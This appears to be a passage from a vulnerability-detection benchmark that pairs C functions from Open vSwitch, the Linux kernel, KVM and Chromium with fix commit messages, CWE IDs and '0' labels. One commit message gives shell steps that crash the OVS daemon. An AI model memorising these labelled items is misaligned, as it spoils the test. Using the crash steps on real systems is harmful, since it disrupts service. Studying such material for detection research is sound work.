Code: ofputil_decode_ofpst11_flow_request(struct ofputil_flow_stats_request *fsr,
struct ofpbuf *b, bool aggregate,
const struct tun_table *tun_table,
const struct vl_mff_map *vl_mff_map)
{
const struct ofp11_flow_stats_request *ofsr;
enum ofperr error;
ofsr = ofpbuf_pull(b, sizeof *ofsr);
fsr->aggregate = aggregate;
fsr->table_id = ofsr->table_id;
error = ofputil_port_from_ofp11(ofsr->out_port, &fsr->out_port);
if (error) {
return error;
}
fsr->out_group = ntohl(ofsr->out_group);
fsr->cookie = ofsr->cookie;
fsr->cookie_mask = ofsr->cookie_mask;
error = ofputil_pull_ofp11_match(b, tun_table, vl_mff_map, &fsr->match,
NULL);
if (error) {
return error;
}
return 0;
}
Commit Message: ofp-group: Don't assert-fail decoding bad OF1.5 group mod type or command.
When decoding a group mod, the current code validates the group type and
command after the whole group mod has been decoded. The OF1.5 decoder,
however, tries to use the type and command earlier, when it might still be
invalid. This caused an assertion failure (via OVS_NOT_REACHED). This
commit fixes the problem.
ovs-vswitchd does not enable support for OpenFlow 1.5 by default.
Reported-at: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=9249
Signed-off-by: Ben Pfaff <blp@ovn.org>
Reviewed-by: Yifeng Sun <pkusunyifeng@gmail.com>
CWE ID: CWE-617
| 0
| 77,525
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ofproto_port_query_by_name(const struct ofproto *ofproto, const char *devname,
struct ofproto_port *port)
{
int error;
error = ofproto->ofproto_class->port_query_by_name(ofproto, devname, port);
if (error) {
memset(port, 0, sizeof *port);
}
return error;
}
Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
CWE ID: CWE-617
| 0
| 77,360
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void load_vmcs12_host_state(struct kvm_vcpu *vcpu,
struct vmcs12 *vmcs12)
{
struct kvm_segment seg;
if (vmcs12->vm_exit_controls & VM_EXIT_LOAD_IA32_EFER)
vcpu->arch.efer = vmcs12->host_ia32_efer;
else if (vmcs12->vm_exit_controls & VM_EXIT_HOST_ADDR_SPACE_SIZE)
vcpu->arch.efer |= (EFER_LMA | EFER_LME);
else
vcpu->arch.efer &= ~(EFER_LMA | EFER_LME);
vmx_set_efer(vcpu, vcpu->arch.efer);
kvm_register_write(vcpu, VCPU_REGS_RSP, vmcs12->host_rsp);
kvm_register_write(vcpu, VCPU_REGS_RIP, vmcs12->host_rip);
vmx_set_rflags(vcpu, X86_EFLAGS_FIXED);
/*
* Note that calling vmx_set_cr0 is important, even if cr0 hasn't
* actually changed, because vmx_set_cr0 refers to efer set above.
*
* CR0_GUEST_HOST_MASK is already set in the original vmcs01
* (KVM doesn't change it);
*/
vcpu->arch.cr0_guest_owned_bits = X86_CR0_TS;
vmx_set_cr0(vcpu, vmcs12->host_cr0);
/* Same as above - no reason to call set_cr4_guest_host_mask(). */
vcpu->arch.cr4_guest_owned_bits = ~vmcs_readl(CR4_GUEST_HOST_MASK);
vmx_set_cr4(vcpu, vmcs12->host_cr4);
load_vmcs12_mmu_host_state(vcpu, vmcs12);
/*
* If vmcs01 don't use VPID, CPU flushes TLB on every
* VMEntry/VMExit. Thus, no need to flush TLB.
*
* If vmcs12 uses VPID, TLB entries populated by L2 are
* tagged with vmx->nested.vpid02 while L1 entries are tagged
* with vmx->vpid. Thus, no need to flush TLB.
*
* Therefore, flush TLB only in case vmcs01 uses VPID and
* vmcs12 don't use VPID as in this case L1 & L2 TLB entries
* are both tagged with vmx->vpid.
*/
if (enable_vpid &&
!(nested_cpu_has_vpid(vmcs12) && to_vmx(vcpu)->nested.vpid02)) {
vmx_flush_tlb(vcpu, true);
}
vmcs_write32(GUEST_SYSENTER_CS, vmcs12->host_ia32_sysenter_cs);
vmcs_writel(GUEST_SYSENTER_ESP, vmcs12->host_ia32_sysenter_esp);
vmcs_writel(GUEST_SYSENTER_EIP, vmcs12->host_ia32_sysenter_eip);
vmcs_writel(GUEST_IDTR_BASE, vmcs12->host_idtr_base);
vmcs_writel(GUEST_GDTR_BASE, vmcs12->host_gdtr_base);
vmcs_write32(GUEST_IDTR_LIMIT, 0xFFFF);
vmcs_write32(GUEST_GDTR_LIMIT, 0xFFFF);
/* If not VM_EXIT_CLEAR_BNDCFGS, the L2 value propagates to L1. */
if (vmcs12->vm_exit_controls & VM_EXIT_CLEAR_BNDCFGS)
vmcs_write64(GUEST_BNDCFGS, 0);
if (vmcs12->vm_exit_controls & VM_EXIT_LOAD_IA32_PAT) {
vmcs_write64(GUEST_IA32_PAT, vmcs12->host_ia32_pat);
vcpu->arch.pat = vmcs12->host_ia32_pat;
}
if (vmcs12->vm_exit_controls & VM_EXIT_LOAD_IA32_PERF_GLOBAL_CTRL)
vmcs_write64(GUEST_IA32_PERF_GLOBAL_CTRL,
vmcs12->host_ia32_perf_global_ctrl);
/* Set L1 segment info according to Intel SDM
27.5.2 Loading Host Segment and Descriptor-Table Registers */
seg = (struct kvm_segment) {
.base = 0,
.limit = 0xFFFFFFFF,
.selector = vmcs12->host_cs_selector,
.type = 11,
.present = 1,
.s = 1,
.g = 1
};
if (vmcs12->vm_exit_controls & VM_EXIT_HOST_ADDR_SPACE_SIZE)
seg.l = 1;
else
seg.db = 1;
vmx_set_segment(vcpu, &seg, VCPU_SREG_CS);
seg = (struct kvm_segment) {
.base = 0,
.limit = 0xFFFFFFFF,
.type = 3,
.present = 1,
.s = 1,
.db = 1,
.g = 1
};
seg.selector = vmcs12->host_ds_selector;
vmx_set_segment(vcpu, &seg, VCPU_SREG_DS);
seg.selector = vmcs12->host_es_selector;
vmx_set_segment(vcpu, &seg, VCPU_SREG_ES);
seg.selector = vmcs12->host_ss_selector;
vmx_set_segment(vcpu, &seg, VCPU_SREG_SS);
seg.selector = vmcs12->host_fs_selector;
seg.base = vmcs12->host_fs_base;
vmx_set_segment(vcpu, &seg, VCPU_SREG_FS);
seg.selector = vmcs12->host_gs_selector;
seg.base = vmcs12->host_gs_base;
vmx_set_segment(vcpu, &seg, VCPU_SREG_GS);
seg = (struct kvm_segment) {
.base = vmcs12->host_tr_base,
.limit = 0x67,
.selector = vmcs12->host_tr_selector,
.type = 11,
.present = 1
};
vmx_set_segment(vcpu, &seg, VCPU_SREG_TR);
kvm_set_dr(vcpu, 7, 0x400);
vmcs_write64(GUEST_IA32_DEBUGCTL, 0);
if (cpu_has_vmx_msr_bitmap())
vmx_update_msr_bitmap(vcpu);
if (nested_vmx_load_msr(vcpu, vmcs12->vm_exit_msr_load_addr,
vmcs12->vm_exit_msr_load_count))
nested_vmx_abort(vcpu, VMX_ABORT_LOAD_HOST_MSR_FAIL);
}
Commit Message: kvm: nVMX: Enforce cpl=0 for VMX instructions
VMX instructions executed inside a L1 VM will always trigger a VM exit
even when executed with cpl 3. This means we must perform the
privilege check in software.
Fixes: 70f3aac964ae("kvm: nVMX: Remove superfluous VMX instruction fault checks")
Cc: stable@vger.kernel.org
Signed-off-by: Felix Wilhelm <fwilhelm@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID:
| 0
| 80,969
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool IsExperimentalInputViewEnabled() {
return base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kEnableExperimentalInputViewFeatures);
}
Commit Message: Move smart deploy to tristate.
BUG=
Review URL: https://codereview.chromium.org/1149383006
Cr-Commit-Position: refs/heads/master@{#333058}
CWE ID: CWE-399
| 0
| 123,328
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void ion_buffer_page_clean(struct page **page)
{
*page = (struct page *)((unsigned long)(*page) & ~(1UL));
}
Commit Message: staging/android/ion : fix a race condition in the ion driver
There is a use-after-free problem in the ion driver.
This is caused by a race condition in the ion_ioctl()
function.
A handle has ref count of 1 and two tasks on different
cpus calls ION_IOC_FREE simultaneously.
cpu 0 cpu 1
-------------------------------------------------------
ion_handle_get_by_id()
(ref == 2)
ion_handle_get_by_id()
(ref == 3)
ion_free()
(ref == 2)
ion_handle_put()
(ref == 1)
ion_free()
(ref == 0 so ion_handle_destroy() is
called
and the handle is freed.)
ion_handle_put() is called and it
decreases the slub's next free pointer
The problem is detected as an unaligned access in the
spin lock functions since it uses load exclusive
instruction. In some cases it corrupts the slub's
free pointer which causes a mis-aligned access to the
next free pointer.(kmalloc returns a pointer like
ffffc0745b4580aa). And it causes lots of other
hard-to-debug problems.
This symptom is caused since the first member in the
ion_handle structure is the reference count and the
ion driver decrements the reference after it has been
freed.
To fix this problem client->lock mutex is extended
to protect all the codes that uses the handle.
Signed-off-by: Eun Taik Lee <eun.taik.lee@samsung.com>
Reviewed-by: Laura Abbott <labbott@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-416
| 0
| 48,526
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::moveNodeIteratorsToNewDocument(Node* node, Document* newDocument)
{
HashSet<NodeIterator*> nodeIteratorsList = m_nodeIterators;
HashSet<NodeIterator*>::const_iterator nodeIteratorsEnd = nodeIteratorsList.end();
for (HashSet<NodeIterator*>::const_iterator it = nodeIteratorsList.begin(); it != nodeIteratorsEnd; ++it) {
if ((*it)->root() == node) {
detachNodeIterator(*it);
newDocument->attachNodeIterator(*it);
}
}
}
Commit Message: Refactoring: Move m_mayDisplaySeamlesslyWithParent down to Document
The member is used only in Document, thus no reason to
stay in SecurityContext.
TEST=none
BUG=none
R=haraken@chromium.org, abarth, haraken, hayato
Review URL: https://codereview.chromium.org/27615003
git-svn-id: svn://svn.chromium.org/blink/trunk@159829 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 102,786
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int netlink_dump(struct sock *sk)
{
struct netlink_sock *nlk = nlk_sk(sk);
struct netlink_callback *cb;
struct sk_buff *skb = NULL;
struct nlmsghdr *nlh;
int len, err = -ENOBUFS;
int alloc_size;
mutex_lock(nlk->cb_mutex);
cb = nlk->cb;
if (cb == NULL) {
err = -EINVAL;
goto errout_skb;
}
alloc_size = max_t(int, cb->min_dump_alloc, NLMSG_GOODSIZE);
skb = sock_rmalloc(sk, alloc_size, 0, GFP_KERNEL);
if (!skb)
goto errout_skb;
len = cb->dump(skb, cb);
if (len > 0) {
mutex_unlock(nlk->cb_mutex);
if (sk_filter(sk, skb))
kfree_skb(skb);
else
__netlink_sendskb(sk, skb);
return 0;
}
nlh = nlmsg_put_answer(skb, cb, NLMSG_DONE, sizeof(len), NLM_F_MULTI);
if (!nlh)
goto errout_skb;
nl_dump_check_consistent(cb, nlh);
memcpy(nlmsg_data(nlh), &len, sizeof(len));
if (sk_filter(sk, skb))
kfree_skb(skb);
else
__netlink_sendskb(sk, skb);
if (cb->done)
cb->done(cb);
nlk->cb = NULL;
mutex_unlock(nlk->cb_mutex);
netlink_consume_callback(cb);
return 0;
errout_skb:
mutex_unlock(nlk->cb_mutex);
kfree_skb(skb);
return err;
}
Commit Message: af_netlink: force credentials passing [CVE-2012-3520]
Pablo Neira Ayuso discovered that avahi and
potentially NetworkManager accept spoofed Netlink messages because of a
kernel bug. The kernel passes all-zero SCM_CREDENTIALS ancillary data
to the receiver if the sender did not provide such data, instead of not
including any such data at all or including the correct data from the
peer (as it is the case with AF_UNIX).
This bug was introduced in commit 16e572626961
(af_unix: dont send SCM_CREDENTIALS by default)
This patch forces passing credentials for netlink, as
before the regression.
Another fix would be to not add SCM_CREDENTIALS in
netlink messages if not provided by the sender, but it
might break some programs.
With help from Florian Weimer & Petr Matousek
This issue is designated as CVE-2012-3520
Signed-off-by: Eric Dumazet <edumazet@google.com>
Cc: Petr Matousek <pmatouse@redhat.com>
Cc: Florian Weimer <fweimer@redhat.com>
Cc: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-287
| 0
| 19,229
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: attr_reader(mrb_state *mrb, mrb_value obj)
{
mrb_value name = mrb_proc_cfunc_env_get(mrb, 0);
return mrb_iv_get(mrb, obj, to_sym(mrb, name));
}
Commit Message: `mrb_class_real()` did not work for `BasicObject`; fix #4037
CWE ID: CWE-476
| 0
| 82,038
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: BOOL CSoundFile::RemoveSelectedSamples(BOOL *pbIns)
{
if (!pbIns) return FALSE;
for (UINT j=1; j<MAX_SAMPLES; j++)
{
if ((!pbIns[j]) && (Ins[j].pSample))
{
DestroySample(j);
if ((j == m_nSamples) && (j > 1)) m_nSamples--;
}
}
return TRUE;
}
Commit Message:
CWE ID:
| 0
| 8,490
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int vmw_gb_surface_unbind(struct vmw_resource *res,
bool readback,
struct ttm_validate_buffer *val_buf)
{
struct vmw_private *dev_priv = res->dev_priv;
struct ttm_buffer_object *bo = val_buf->bo;
struct vmw_fence_obj *fence;
struct {
SVGA3dCmdHeader header;
SVGA3dCmdReadbackGBSurface body;
} *cmd1;
struct {
SVGA3dCmdHeader header;
SVGA3dCmdInvalidateGBSurface body;
} *cmd2;
struct {
SVGA3dCmdHeader header;
SVGA3dCmdBindGBSurface body;
} *cmd3;
uint32_t submit_size;
uint8_t *cmd;
BUG_ON(bo->mem.mem_type != VMW_PL_MOB);
submit_size = sizeof(*cmd3) + (readback ? sizeof(*cmd1) : sizeof(*cmd2));
cmd = vmw_fifo_reserve(dev_priv, submit_size);
if (unlikely(!cmd)) {
DRM_ERROR("Failed reserving FIFO space for surface "
"unbinding.\n");
return -ENOMEM;
}
if (readback) {
cmd1 = (void *) cmd;
cmd1->header.id = SVGA_3D_CMD_READBACK_GB_SURFACE;
cmd1->header.size = sizeof(cmd1->body);
cmd1->body.sid = res->id;
cmd3 = (void *) &cmd1[1];
} else {
cmd2 = (void *) cmd;
cmd2->header.id = SVGA_3D_CMD_INVALIDATE_GB_SURFACE;
cmd2->header.size = sizeof(cmd2->body);
cmd2->body.sid = res->id;
cmd3 = (void *) &cmd2[1];
}
cmd3->header.id = SVGA_3D_CMD_BIND_GB_SURFACE;
cmd3->header.size = sizeof(cmd3->body);
cmd3->body.sid = res->id;
cmd3->body.mobid = SVGA3D_INVALID_ID;
vmw_fifo_commit(dev_priv, submit_size);
/*
* Create a fence object and fence the backup buffer.
*/
(void) vmw_execbuf_fence_commands(NULL, dev_priv,
&fence, NULL);
vmw_fence_single_bo(val_buf->bo, fence);
if (likely(fence != NULL))
vmw_fence_obj_unreference(&fence);
return 0;
}
Commit Message: drm/vmwgfx: Make sure backup_handle is always valid
When vmw_gb_surface_define_ioctl() is called with an existing buffer,
we end up returning an uninitialized variable in the backup_handle.
The fix is to first initialize backup_handle to 0 just to be sure, and
second, when a user-provided buffer is found, we will use the
req->buffer_handle as the backup_handle.
Cc: <stable@vger.kernel.org>
Reported-by: Murray McAllister <murray.mcallister@insomniasec.com>
Signed-off-by: Sinclair Yeh <syeh@vmware.com>
Reviewed-by: Deepak Rawat <drawat@vmware.com>
CWE ID: CWE-200
| 0
| 64,379
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int bond_release(struct net_device *bond_dev, struct net_device *slave_dev)
{
struct bonding *bond = netdev_priv(bond_dev);
struct slave *slave, *oldcurrent;
struct sockaddr addr;
u32 old_features = bond_dev->features;
/* slave is not a slave or master is not master of this slave */
if (!(slave_dev->flags & IFF_SLAVE) ||
(slave_dev->master != bond_dev)) {
pr_err("%s: Error: cannot release %s.\n",
bond_dev->name, slave_dev->name);
return -EINVAL;
}
block_netpoll_tx();
netdev_bonding_change(bond_dev, NETDEV_RELEASE);
write_lock_bh(&bond->lock);
slave = bond_get_slave_by_dev(bond, slave_dev);
if (!slave) {
/* not a slave of this bond */
pr_info("%s: %s not enslaved\n",
bond_dev->name, slave_dev->name);
write_unlock_bh(&bond->lock);
unblock_netpoll_tx();
return -EINVAL;
}
/* unregister rx_handler early so bond_handle_frame wouldn't be called
* for this slave anymore.
*/
netdev_rx_handler_unregister(slave_dev);
write_unlock_bh(&bond->lock);
synchronize_net();
write_lock_bh(&bond->lock);
if (!bond->params.fail_over_mac) {
if (!compare_ether_addr(bond_dev->dev_addr, slave->perm_hwaddr) &&
bond->slave_cnt > 1)
pr_warning("%s: Warning: the permanent HWaddr of %s - %pM - is still in use by %s. Set the HWaddr of %s to a different address to avoid conflicts.\n",
bond_dev->name, slave_dev->name,
slave->perm_hwaddr,
bond_dev->name, slave_dev->name);
}
/* Inform AD package of unbinding of slave. */
if (bond->params.mode == BOND_MODE_8023AD) {
/* must be called before the slave is
* detached from the list
*/
bond_3ad_unbind_slave(slave);
}
pr_info("%s: releasing %s interface %s\n",
bond_dev->name,
bond_is_active_slave(slave) ? "active" : "backup",
slave_dev->name);
oldcurrent = bond->curr_active_slave;
bond->current_arp_slave = NULL;
/* release the slave from its bond */
bond_detach_slave(bond, slave);
if (bond->primary_slave == slave)
bond->primary_slave = NULL;
if (oldcurrent == slave)
bond_change_active_slave(bond, NULL);
if (bond_is_lb(bond)) {
/* Must be called only after the slave has been
* detached from the list and the curr_active_slave
* has been cleared (if our_slave == old_current),
* but before a new active slave is selected.
*/
write_unlock_bh(&bond->lock);
bond_alb_deinit_slave(bond, slave);
write_lock_bh(&bond->lock);
}
if (oldcurrent == slave) {
/*
* Note that we hold RTNL over this sequence, so there
* is no concern that another slave add/remove event
* will interfere.
*/
write_unlock_bh(&bond->lock);
read_lock(&bond->lock);
write_lock_bh(&bond->curr_slave_lock);
bond_select_active_slave(bond);
write_unlock_bh(&bond->curr_slave_lock);
read_unlock(&bond->lock);
write_lock_bh(&bond->lock);
}
if (bond->slave_cnt == 0) {
bond_set_carrier(bond);
/* if the last slave was removed, zero the mac address
* of the master so it will be set by the application
* to the mac address of the first slave
*/
memset(bond_dev->dev_addr, 0, bond_dev->addr_len);
if (bond_vlan_used(bond)) {
pr_warning("%s: Warning: clearing HW address of %s while it still has VLANs.\n",
bond_dev->name, bond_dev->name);
pr_warning("%s: When re-adding slaves, make sure the bond's HW address matches its VLANs'.\n",
bond_dev->name);
}
}
write_unlock_bh(&bond->lock);
unblock_netpoll_tx();
bond_compute_features(bond);
if (!(bond_dev->features & NETIF_F_VLAN_CHALLENGED) &&
(old_features & NETIF_F_VLAN_CHALLENGED))
pr_info("%s: last VLAN challenged slave %s left bond %s. VLAN blocking is removed\n",
bond_dev->name, slave_dev->name, bond_dev->name);
/* must do this from outside any spinlocks */
bond_destroy_slave_symlinks(bond_dev, slave_dev);
bond_del_vlans_from_slave(bond, slave_dev);
/* If the mode USES_PRIMARY, then we should only remove its
* promisc and mc settings if it was the curr_active_slave, but that was
* already taken care of above when we detached the slave
*/
if (!USES_PRIMARY(bond->params.mode)) {
/* unset promiscuity level from slave */
if (bond_dev->flags & IFF_PROMISC)
dev_set_promiscuity(slave_dev, -1);
/* unset allmulti level from slave */
if (bond_dev->flags & IFF_ALLMULTI)
dev_set_allmulti(slave_dev, -1);
/* flush master's mc_list from slave */
netif_addr_lock_bh(bond_dev);
bond_mc_list_flush(bond_dev, slave_dev);
netif_addr_unlock_bh(bond_dev);
}
netdev_set_bond_master(slave_dev, NULL);
slave_disable_netpoll(slave);
/* close slave before restoring its mac address */
dev_close(slave_dev);
if (bond->params.fail_over_mac != BOND_FOM_ACTIVE) {
/* restore original ("permanent") mac address */
memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN);
addr.sa_family = slave_dev->type;
dev_set_mac_address(slave_dev, &addr);
}
dev_set_mtu(slave_dev, slave->original_mtu);
slave_dev->priv_flags &= ~IFF_BONDING;
kfree(slave);
return 0; /* deletion OK */
}
Commit Message: net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-264
| 0
| 23,739
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: OVS_EXCLUDED(ofproto_mutex)
{
const struct rule *rule;
bool must_add;
/* First do a cheap check whether the rule we're looking for already exists
* with the actions that we want. If it does, then we're done. */
rule = rule_from_cls_rule(classifier_find_match_exactly(
&ofproto->tables[0].cls, match, priority,
OVS_VERSION_MAX));
if (rule) {
const struct rule_actions *actions = rule_get_actions(rule);
must_add = !ofpacts_equal(actions->ofpacts, actions->ofpacts_len,
ofpacts, ofpacts_len);
} else {
must_add = true;
}
/* If there's no such rule or the rule doesn't have the actions we want,
* fall back to a executing a full flow mod. We can't optimize this at
* all because we didn't take enough locks above to ensure that the flow
* table didn't already change beneath us. */
if (must_add) {
simple_flow_mod(ofproto, match, priority, ofpacts, ofpacts_len,
OFPFC_MODIFY_STRICT);
}
}
Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
CWE ID: CWE-617
| 0
| 77,115
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void MSG_WriteAngle( msg_t *sb, float f ) {
MSG_WriteByte (sb, (int)(f*256/360) & 255);
}
Commit Message: Fix/improve buffer overflow in MSG_ReadBits/MSG_WriteBits
Prevent reading past end of message in MSG_ReadBits. If read past
end of msg->data buffer (16348 bytes) the engine could SEGFAULT.
Make MSG_WriteBits use an exact buffer overflow check instead of
possibly failing with a few bytes left.
CWE ID: CWE-119
| 0
| 63,161
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void php_csr_free(zend_resource *rsrc)
{
X509_REQ * csr = (X509_REQ*)rsrc->ptr;
X509_REQ_free(csr);
}
Commit Message:
CWE ID: CWE-754
| 0
| 4,551
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: user_change_email_authorized_cb (Daemon *daemon,
User *user,
GDBusMethodInvocation *context,
gpointer data)
{
gchar *email = data;
if (g_strcmp0 (accounts_user_get_email (ACCOUNTS_USER (user)), email) != 0) {
accounts_user_set_email (ACCOUNTS_USER (user), email);
save_extra_data (user);
}
accounts_user_complete_set_email (ACCOUNTS_USER (user), context);
}
Commit Message:
CWE ID: CWE-22
| 0
| 4,719
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int generic_delete_inode(struct inode *inode)
{
return 1;
}
Commit Message: fs,userns: Change inode_capable to capable_wrt_inode_uidgid
The kernel has no concept of capabilities with respect to inodes; inodes
exist independently of namespaces. For example, inode_capable(inode,
CAP_LINUX_IMMUTABLE) would be nonsense.
This patch changes inode_capable to check for uid and gid mappings and
renames it to capable_wrt_inode_uidgid, which should make it more
obvious what it does.
Fixes CVE-2014-4014.
Cc: Theodore Ts'o <tytso@mit.edu>
Cc: Serge Hallyn <serge.hallyn@ubuntu.com>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: Dave Chinner <david@fromorbit.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 0
| 36,846
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: error::Error GLES2DecoderPassthroughImpl::DoVertexAttrib2f(GLuint indx,
GLfloat x,
GLfloat y) {
api()->glVertexAttrib2fFn(indx, x, y);
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 142,180
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DocumentVisibilityObserver::setObservedDocument(Document& document)
{
unregisterObserver();
registerObserver(document);
}
Commit Message: Correctly keep track of isolates for microtask execution
BUG=487155
R=haraken@chromium.org
Review URL: https://codereview.chromium.org/1161823002
git-svn-id: svn://svn.chromium.org/blink/trunk@195985 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-254
| 0
| 127,548
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: FrameSelection& SelectionController::Selection() const {
return frame_->Selection();
}
Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection
This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate|
since handle visibility is used only for setting |FrameSelection|, hence it is
